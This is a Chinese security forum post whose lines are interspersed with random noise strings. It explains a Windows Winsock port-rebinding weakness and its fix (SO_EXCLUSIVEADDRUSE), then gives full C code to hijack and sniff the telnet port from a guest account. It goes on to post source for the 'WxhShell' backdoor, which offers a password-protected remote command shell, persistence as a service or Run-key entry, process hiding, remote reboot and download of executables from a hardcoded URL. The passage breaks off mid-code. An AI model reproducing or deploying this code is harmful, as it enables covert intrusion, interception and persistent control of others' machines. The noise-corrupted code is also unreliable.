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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ]`@< I'?,X  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ,ce$y4%(  
7ws[Rp8  
  saddr.sin_family = AF_INET; ;p( Doy)i  
BLo=@C%w5  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Fz$^CMw5K  
W$R@Klz  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); g+k yvI7o  
Ys%d  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 x1`Jlzrp,  
j+3=&PkA.]  
  这意味着什么?意味着可以进行如下的攻击: Dd,]Y}P  
[4}U*\/>C  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 .18MMzdN  
];Bk|xJ/>  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) qS[nf>"  
kPp7;U2A  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 6)3pnhG9  
|=Pw -uk  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Xu[A,6  
o l+*Oe  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 W%}zwQ  
\z=!It]f.  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ,NU`aG-  
*i7|~q/u  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 K&iU+  
rge/qUr/^  
  #include :LR>U;2  
  #include )G|'PXI@,  
  #include (DKQHL;  
  #include    iC<qWq|S_m  
  DWORD WINAPI ClientThread(LPVOID lpParam);   +r]2.  
  int main() vj<JjGP  
  { @yn1#E,  
  WORD wVersionRequested; I6 Q{ Axy  
  DWORD ret; Qnv)\M1  
  WSADATA wsaData; nA#dXckoc  
  BOOL val; :\G`}_db'  
  SOCKADDR_IN saddr; sMWNzt  
  SOCKADDR_IN scaddr; )L7h:%h#  
  int err; h!]=)7x;  
  SOCKET s; jL#`CD  
  SOCKET sc; NB)22 %  
  int caddsize; yUFT9bD  
  HANDLE mt; (yhnv Z  
  DWORD tid;   ;ywUl`d  
  wVersionRequested = MAKEWORD( 2, 2 ); -xU4s  
  err = WSAStartup( wVersionRequested, &wsaData ); ,tHV H7[  
  if ( err != 0 ) { ywbdV-t/  
  printf("error!WSAStartup failed!\n"); USyOHHPW@  
  return -1; .|3&lb6  
  }  r(c8P6_  
  saddr.sin_family = AF_INET; Fpy-? U  
   w:[\G%yQ  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 0\yA6`}!  
+Rd;>s*.Y  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); `9p;LZC1K  
  saddr.sin_port = htons(23); 1ihdH1rg[  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) [-JU(:Rh  
  { ; Z{jol  
  printf("error!socket failed!\n"); sb*)K,U  
  return -1; =E-V-?N\  
  } %pImCpMR  
  val = TRUE; Vqxxm&^P  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 7,Q>>%/0P  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) :^992]EBEj  
  { 05o 1  
  printf("error!setsockopt failed!\n"); wy4 }CG  
  return -1; *TP>)o  
  } OOj }CZ6  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 2umgF  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 96S#Q*6+R  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 :5BVVa0oR  
a}/ A]mu  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) @ZGD'+zd?  
  { uBfSS\SX|  
  ret=GetLastError(); UrEfFtH'  
  printf("error!bind failed!\n"); Ex$i8fO(  
  return -1; o) ,1R:  
  } $~<]G)*Z  
  listen(s,2); 5}"9)LT@@w  
  while(1) EHX/XM  
  { }w/6"MJ[n  
  caddsize = sizeof(scaddr); phqmr5s^H  
  //接受连接请求 QlK]2r9  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 5? 1:RE(1  
  if(sc!=INVALID_SOCKET) #>dj!33  
  { 0}I aWd^4  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ^ah9:}Ll  
  if(mt==NULL) xh9Os <  
  { f#b;s<G  
  printf("Thread Creat Failed!\n"); ])NQzgS  
  break; ,\=,,1_  
  } n]fMl:77  
  } w j<fi  
  CloseHandle(mt); 6k*,Yei  
  } Ni-@El99  
  closesocket(s); g.T:72"  
  WSACleanup(); 4|Ay;}X \  
  return 0; #8qhl  
  }   .FpeVjR''  
  DWORD WINAPI ClientThread(LPVOID lpParam) ?I332,,q  
  { " TP^:Ln  
  SOCKET ss = (SOCKET)lpParam; GEUC<bL+  
  SOCKET sc; /V$U%0  
  unsigned char buf[4096]; Z2D^]  
  SOCKADDR_IN saddr; @PAT|6  
  long num; -]k vM  
  DWORD val; ;HoBLxb P  
  DWORD ret; h3t);}Y}D9  
  //如果是隐藏端口应用的话,可以在此处加一些判断 5v,_ Hgh  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   EN;s 8sC!  
  saddr.sin_family = AF_INET; =WM^i86  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 5V@c~1\  
  saddr.sin_port = htons(23); Wg!JQRHtT  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) {Etvu  
  { 0*yD   
  printf("error!socket failed!\n"); cZlDdr%  
  return -1; EE$\8Gx']!  
  } )uu1AbT +e  
  val = 100; 9vI<\ Xa  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) T1=T  
  { ?Es(pwJB  
  ret = GetLastError(); SZ(]su:  
  return -1; bfX yuv  
  } L(+I  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) U;#9^<^  
  { @p ZjJ<9QM  
  ret = GetLastError(); ZGj ^,?a  
  return -1; K2 6`wt  
  } Zi= /w  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) y$[:Kh,  
  { _kXq0~  
  printf("error!socket connect failed!\n"); K$/&C:,Q  
  closesocket(sc); !\5w<*p8  
  closesocket(ss); liU8OXBl  
  return -1; ]I'dnd3e  
  } O QGKH6q  
  while(1) cK.z&y0]  
  { 85?;\ 5%-  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 7m:ZG  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 (NC]S  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 b|oT!s  
  num = recv(ss,buf,4096,0); #gsJ tT9  
  if(num>0) <NXJ&xs-+  
  send(sc,buf,num,0); {e p(_1  
  else if(num==0) Oe ~g[I;  
  break; D$Eq~VQ  
  num = recv(sc,buf,4096,0); yc+pNC)ue_  
  if(num>0) ! G3Gr  
  send(ss,buf,num,0); AW8*bq1  
  else if(num==0) {;vLM* '  
  break; 03H0(ku=  
  } <NWq0 3:&  
  closesocket(ss); ZXl_cq2r  
  closesocket(sc); 2"6bz^>}  
  return 0 ; ]Bj2;<@y  
  } 'S%H"W\  
{hFH6]TA  
sOVU>tb\'  
========================================================== L Q0e@5  
l}SHR|7<  
下边附上一个代码,,WXhSHELL o3YW(%cYR  
0p]v#z}  
========================================================== @2g <d  
hjD%=Ri0Z  
#include "stdafx.h" %'OY  
_Wqy,L;J  
#include <stdio.h> %2y5a`b  
#include <string.h> KX J7\}  
#include <windows.h> bEm9hFvd  
#include <winsock2.h> 8PR\a!"  
#include <winsvc.h> 7@ \:l~{  
#include <urlmon.h> lHAWZyO  
^!fY~(=U4  
#pragma comment (lib, "Ws2_32.lib") EKus0"|  
#pragma comment (lib, "urlmon.lib") ^B:;uyG]M  
7-gT:  
#define MAX_USER   100 // 最大客户端连接数 YS:p(jtd  
#define BUF_SOCK   200 // sock buffer =;Dj[<mJ45  
#define KEY_BUFF   255 // 输入 buffer ly:2XvV3~  
Wh)!Ha}  
#define REBOOT     0   // 重启 f@[qS7ok  
#define SHUTDOWN   1   // 关机 R.!.7dO  
% Ai' 6  
#define DEF_PORT   5000 // 监听端口 Ej8g/{  
_\na9T~g  
#define REG_LEN     16   // 注册表键长度 !<24Cy  
#define SVC_LEN     80   // NT服务名长度 $*|M+ofQ  
UmR4zGM}  
// 从dll定义API 2Qt!JXC  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ~7an j.  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); "hi03k  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); %=!] 1  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); b~qH/A}h  
hd6O+i Y4  
// wxhshell配置信息 -9::M}^2  
struct WSCFG { k%BU&%?1  
  int ws_port;         // 监听端口 NfUt\ p*  
  char ws_passstr[REG_LEN]; // 口令 ,u>[cRqw  
  int ws_autoins;       // 安装标记, 1=yes 0=no Ec2;?pvd%J  
  char ws_regname[REG_LEN]; // 注册表键名 !Au#j^5K-o  
  char ws_svcname[REG_LEN]; // 服务名 Q(36RX%@  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Q':hmulT!  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 o7 t{?|  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 A=3L_ #nO  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 3)yL#hXg)  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" xHMFYt+0$G  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 mRa\ wEg%  
oKb"Ky@s  
}; T+^c=[W  
c]zFZJ6M  
// default Wxhshell configuration HItNd  
struct WSCFG wscfg={DEF_PORT, A,BYi$  
    "xuhuanlingzhe", v2_` iwE  
    1, J#t-." f6^  
    "Wxhshell", tv26eK 38  
    "Wxhshell", ,J8n}7aI  
            "WxhShell Service", T7%!JBg@  
    "Wrsky Windows CmdShell Service", L$BV`JWPw  
    "Please Input Your Password: ", "Kdn`zN{  
  1, 9z..LD(  
  "http://www.wrsky.com/wxhshell.exe", ES?*w@x  
  "Wxhshell.exe" ?w+ V:D  
    }; `XpQR=IOMb  
z$WLx  
// 消息定义模块 k/D{&(F ~  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 5'c#pm\Q  
char *msg_ws_prompt="\n\r? for help\n\r#>"; X'-Yz7J?o  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; !|up"T I  
char *msg_ws_ext="\n\rExit."; 0EF~Ouef  
char *msg_ws_end="\n\rQuit."; :eSsqt9]9  
char *msg_ws_boot="\n\rReboot..."; &7oL2 Wf  
char *msg_ws_poff="\n\rShutdown..."; 7[w<v(Rc  
char *msg_ws_down="\n\rSave to "; - Z`RKR8C  
H>A6VDu  
char *msg_ws_err="\n\rErr!"; vENf3;o0  
char *msg_ws_ok="\n\rOK!"; mf)+ 5On  
Z XGi> E  
char ExeFile[MAX_PATH]; QW$p{ zo  
int nUser = 0; r *]pL<  
HANDLE handles[MAX_USER]; eIfQ TV  
int OsIsNt; ~`C _B]3|  
O`Gq7=X  
SERVICE_STATUS       serviceStatus; vaGF(hfTA  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; @0 /qP<E  
-sfv"?  
// 函数声明 "L:4 7!8  
int Install(void); &iVdqr1,  
int Uninstall(void); X.#)CB0c1Q  
int DownloadFile(char *sURL, SOCKET wsh); P6R_W  
int Boot(int flag); t:5-Ro  
void HideProc(void); #,u|*O:  
int GetOsVer(void); yji[Yde;|  
int Wxhshell(SOCKET wsl); BqY_N8l&E  
void TalkWithClient(void *cs); V*{rHp{=p  
int CmdShell(SOCKET sock); .z.4E:Iq  
int StartFromService(void); 5OppK(Oi*C  
int StartWxhshell(LPSTR lpCmdLine); ZGDT 6,  
bD{k=jum  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); uO`MA% z<  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); -~|{q)!F  
c#sHnpP  
// 数据结构和表定义 80wzn,o S  
SERVICE_TABLE_ENTRY DispatchTable[] = &8z<~q  
{ ?)y^ [9  
{wscfg.ws_svcname, NTServiceMain}, +)iMJ]>  
{NULL, NULL} z8'1R6nq  
}; M{Z ;7n'  
`}$o<CJ  
// 自我安装 %KXiB6<4  
int Install(void) {VL@U$'oI  
{ =I'3C']Z W  
  char svExeFile[MAX_PATH]; o[T+/Ej&  
  HKEY key; ;,C]WZ.w  
  strcpy(svExeFile,ExeFile); R2gV(L(!!  
0n}13u=}  
// 如果是win9x系统,修改注册表设为自启动 M[gL7-%w\  
if(!OsIsNt) { <"J]u@|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { dy&UF,l6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); k(l2`I4V  
  RegCloseKey(key); O,%,dtD[a  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { w{6C4~0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); odsFgh  
  RegCloseKey(key); AQg|lKv  
  return 0; akxNT_   
    } -juG[zn  
  } uv27Vos  
} q8 ?kBKP  
else { pW(rNAJ!  
lGl'A}]#$  
// 如果是NT以上系统,安装为系统服务 &~ y)b`r  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ~0a5  
if (schSCManager!=0) 6(Pan%  
{ i(^U<DW$  
  SC_HANDLE schService = CreateService {P]C>  
  ( W(`QbNJ  
  schSCManager, rtRbr_  
  wscfg.ws_svcname, @#)` -]g  
  wscfg.ws_svcdisp, e "A"  
  SERVICE_ALL_ACCESS, qk1jmr  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , `za,sRFR  
  SERVICE_AUTO_START, Sw\*$g]  
  SERVICE_ERROR_NORMAL, ]R#:Bq!F  
  svExeFile, ~ELMLwn.  
  NULL, [|DKBJ  
  NULL, 8AuBs;i  
  NULL, #]kjyT0  
  NULL, ttzNv>L,  
  NULL aa`(2%(:  
  ); ej`%}e%2  
  if (schService!=0) a>'ez0C  
  { t'rN7.d  
  CloseServiceHandle(schService); kI^* '=:  
  CloseServiceHandle(schSCManager); _\}'5nmw\  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); d,V#5l-6  
  strcat(svExeFile,wscfg.ws_svcname); ,Of^xER`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ^dHQ<L3.*  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); N1c=cZDV  
  RegCloseKey(key); z1PwupXt1  
  return 0; <Kd(fFe  
    } Q+ ^ &  
  } V&M*,#(?  
  CloseServiceHandle(schSCManager); 3'0Pl8  
} =?<WCR C*  
}  `Vb  
3@> F-N  
return 1; `6D?te  
} vk& gR  
{LO Pm1K8Y  
// 自我卸载 /\I6j;$z  
int Uninstall(void) G*fo9eu5$  
{ Wwq:\C  
  HKEY key; Tlsh[@Q  
/kW Z 8Z  
if(!OsIsNt) { 5Q?Jm~H9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $KiCs]I+  
  RegDeleteValue(key,wscfg.ws_regname); *qd:f!Q3  
  RegCloseKey(key); <'a~Y3B"o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0 &zp  
  RegDeleteValue(key,wscfg.ws_regname); ~t`^|cr|  
  RegCloseKey(key); XA>W >|  
  return 0; <v_=k],W  
  } UN]gn>~j  
} SS=<\q#MS  
} >cu%Cs=m  
else { t'eqk#rq  
,ks2&e  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 9%/hoA)  
if (schSCManager!=0)  +$dJA  
{ gg'1q3OjM  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ~VGnE:  
  if (schService!=0) zfIo] M`  
  { O VV@  
  if(DeleteService(schService)!=0) { m[9.'@ ye  
  CloseServiceHandle(schService); 06&J!,p :  
  CloseServiceHandle(schSCManager); :C~Ar]  
  return 0; Ot t6y  
  } M!UTqf7XL  
  CloseServiceHandle(schService); 2Je $SE8  
  } .DCHc,DxA  
  CloseServiceHandle(schSCManager);  0#,a#P  
} 8Bf >  
} 3Vb4zZsl  
_4ag-'5  
return 1; 6>>; fy2  
} Kc/1LeAik  
rhJ&* 0M  
// 从指定url下载文件 4T@:_G2b  
int DownloadFile(char *sURL, SOCKET wsh) _gvFs %J  
{ ;[v!#+yml  
  HRESULT hr; 37#&:[w>  
char seps[]= "/"; _C?j\Wy  
char *token; LW %AZkAx  
char *file; :QE5 7 .  
char myURL[MAX_PATH]; {%V(Dd[B6  
char myFILE[MAX_PATH]; |VBt:dd<  
Yh":>~k?SY  
strcpy(myURL,sURL); {ZJO5*  
  token=strtok(myURL,seps); m|a9T#B(  
  while(token!=NULL) =kjKK  
  { >rSjP1-F  
    file=token; (o^tmH*  
  token=strtok(NULL,seps); "HMEoZ  
  } _Cmmx`ln  
"[bkdL<  
GetCurrentDirectory(MAX_PATH,myFILE); L$ZjMJ  
strcat(myFILE, "\\"); yk+ 50/L  
strcat(myFILE, file); 88g3<&  
  send(wsh,myFILE,strlen(myFILE),0); i]JTKL{\q  
send(wsh,"...",3,0); 8:ubtB  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Kb.qv)6i*  
  if(hr==S_OK) Ma YU%h0  
return 0; Kl1v^3\{  
else 7+O)AU{  
return 1; )`u17 {  
KII{GDR]  
} j{@O %fv=  
4ot<Uw5  
// 系统电源模块 %( )d$.F  
int Boot(int flag) ?|nl93m  
{ Y"Cf84E  
  HANDLE hToken; @= -(H<0  
  TOKEN_PRIVILEGES tkp; pu-HEv}]a|  
eV;r /4  
  if(OsIsNt) { _:x]' w%  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); i_Kwxn$  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); i2F7O"f.  
    tkp.PrivilegeCount = 1; Ss3p6%V/  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 0YH5B5b  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); H;Wrcf2  
if(flag==REBOOT) { O[@!1SKT0  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) o+A7hBM^  
  return 0; mw @Pl\=  
} +C( -f  
else { <Xf6?nyZ(  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) |{(<A4W  
  return 0; J2mHPV A3  
} uYJS=NGNA  
  } zj 6I:Q r  
  else { fPR_ 3qgQ  
if(flag==REBOOT) { _y@ 28t  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Y]z :^D  
  return 0; <r%K i`u(p  
} +;N]34>S7  
else { LGP"S5V  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) !Sc"V.o @!  
  return 0; CSM"Kz`  
} ]e>qvSuYh  
} 6g(;2gY  
r`H}f#.KR  
return 1; #M,&g{  
} gf|uZ9{  
u'YXI="(  
// win9x进程隐藏模块 [FFr}\}bY  
void HideProc(void) 0w?da~  
{ M4^G3c<  
L%'J]HL-  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ? SFBUX(p  
  if ( hKernel != NULL ) DfXkLOGik  
  { 5`;SI36"  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 4TtC~#D:  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 3I)~;>meo  
    FreeLibrary(hKernel); g4K+AK  
  } 'aSsyD!?<  
[xS7ae  
return; u3T-U_:jSV  
} mm/\\my  
7?P'f3)fG  
// 获取操作系统版本 c<lp<{;  
int GetOsVer(void) RS5<] dy  
{ f:o.[4p2  
  OSVERSIONINFO winfo; i7x&[b  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); "LBMpgpU  
  GetVersionEx(&winfo); rQ*+ <`R}  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) L/k35x8  
  return 1; c%&,(NJ]K  
  else g~lv/.CnA+  
  return 0; "?"  :  
} ot0teNF  
hkK>h  
// 客户端句柄模块 N$fP\h^AR  
int Wxhshell(SOCKET wsl) 'gwh:  
{ (tK_(gO  
  SOCKET wsh; sh/ ,"b2!P  
  struct sockaddr_in client; qv!(In>u  
  DWORD myID; K #3^GB3P  
7 N}@zPAZ  
  while(nUser<MAX_USER) 7Cz~nin>7  
{ HqGI.  
  int nSize=sizeof(client); ysaRH3M  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); +a,SP   
  if(wsh==INVALID_SOCKET) return 1; QiCia#_  
pdu1 kL  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); .K C* (}-  
if(handles[nUser]==0) 7HkO:/  
  closesocket(wsh); TWP@\ BQ  
else &RR;'wLoQT  
  nUser++; /s?%ft#-9o  
  } 7@ym:6Y+]  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); @iz Onc:  
 f<o|5r  
  return 0; rZKh}E  
} -l[H]BAMXy  
Kz'GAm\  
// 关闭 socket oj8r*  
void CloseIt(SOCKET wsh) X5WA-s(?0  
{ vo/x`F'ib  
closesocket(wsh); gS(3m_  
nUser--; ;>,B(Xz4i  
ExitThread(0); GSA+A7sZ  
} -J v,#Z3  
[R]V4Hb  
// 客户端请求句柄 r O87V!Cj  
void TalkWithClient(void *cs) AD;m[u7  
{ Agd"m4!  
<bcf"0A  
  SOCKET wsh=(SOCKET)cs; {O+T`; =)L  
  char pwd[SVC_LEN]; Laj/~Ru6  
  char cmd[KEY_BUFF]; 1P)K@j  
char chr[1]; pH~\~  
int i,j; %1&X+s3  
`zoHgn7B9q  
  while (nUser < MAX_USER) { c |0p'EQ  
!t%1G.  
if(wscfg.ws_passstr) { P| NGAd  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); yQJ0",w3o.  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); V_i&@<J  
  //ZeroMemory(pwd,KEY_BUFF); 8)>>EN8 R  
      i=0; | BaEv\$K  
  while(i<SVC_LEN) { yY]x' 'K  
0fc;H}B*  
  // 设置超时 \Z.r Pq  
  fd_set FdRead; @!;A^<{ka  
  struct timeval TimeOut; PqspoH 0OI  
  FD_ZERO(&FdRead); oc?|"  
  FD_SET(wsh,&FdRead); %_ew{ff|  
  TimeOut.tv_sec=8; 73qE!(  
  TimeOut.tv_usec=0; QL0q/S1*  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); g? vz\_  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); jV% VN  
;CO qu#(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6 ;'s9s"  
  pwd=chr[0]; 8UB2 du@?  
  if(chr[0]==0xd || chr[0]==0xa) { 'IU3Xu[-.  
  pwd=0; jHEP1rNHE  
  break; `8ob Xb  
  } :E W1I>}_  
  i++; =Ti!9_~  
    } + S+!:IB  
4 95Y<x}=  
  // 如果是非法用户,关闭 socket 65Z}Hf  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); % jDH{xSMb  
} P`rfDQoZ  
*,u{, $}2  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); VjM/'V5  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @@ j\OR  
\p:)Cdn  
while(1) { NG3?OAQTw  
q,K|1+jn  
  ZeroMemory(cmd,KEY_BUFF); Boj R"  
& n*ga$Q  
      // 自动支持客户端 telnet标准   SY95s  
  j=0; "]3o93 3 D  
  while(j<KEY_BUFF) { ,RV>F_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); nLL2/!'n  
  cmd[j]=chr[0]; .QY>@b\  
  if(chr[0]==0xa || chr[0]==0xd) { Q 1i5"'][  
  cmd[j]=0; ?C CQm  
  break; cO:lpsKYQ  
  } ;9~YQW@|  
  j++; 0L;,\&*u  
    } *mV?_4!,f7  
[__P-h{J  
  // 下载文件 Fs >MFj  
  if(strstr(cmd,"http://")) { [XPAI["  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); r'ilJ("  
  if(DownloadFile(cmd,wsh)) "d}']M?-h  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,t_&tbf3  
  else tOXyle~C  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ew4D'; &;  
  } 1G A.c:  
  else { !- [ ZQ  
z<Z0/a2'1  
    switch(cmd[0]) { a|TUH+|  
  |keU+De  
  // 帮助 ?121 as}z  
  case '?': { '7' 73  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); <Z[Z&^  
    break; SN|!FW.*:  
  } C;ab-gh  
  // 安装 h0-.9ym  
  case 'i': { 46M=R-7=  
    if(Install()) em7L `,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <e&v[  
    else ZKW1HL ]m  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ys!O"=OJ  
    break; Dh m ;K$T  
    } 4~Q<LEly  
  // 卸载 p7+>]sqX  
  case 'r': { !pfpT\i]N:  
    if(Uninstall()) C!_=L?QT^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); eG+$~\%Fub  
    else O-0 5.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'RwfW|~6  
    break; Qraq{'3  
    } yl*%P3m|  
  // 显示 wxhshell 所在路径 aQH]hLvs  
  case 'p': { 1/bTwzR.g  
    char svExeFile[MAX_PATH]; &R/-~w5  
    strcpy(svExeFile,"\n\r");  Jj%xLv%  
      strcat(svExeFile,ExeFile); };r EN`L  
        send(wsh,svExeFile,strlen(svExeFile),0); gWro])3  
    break; 3Ch42<  
    } rhYARr'  
  // 重启 ` *hTx|!'  
  case 'b': { l_((3e[)  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Vh01y f  
    if(Boot(REBOOT)) W rT_7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); alxIc.[  
    else { '"q+[zwv  
    closesocket(wsh); Li8/GoJW-T  
    ExitThread(0); f x:vhEX  
    } pVl7] _=m  
    break; aeYz;&K  
    } RK*tZ  
  // 关机 1z; !)pG.  
  case 'd': { DZ`,QWuA  
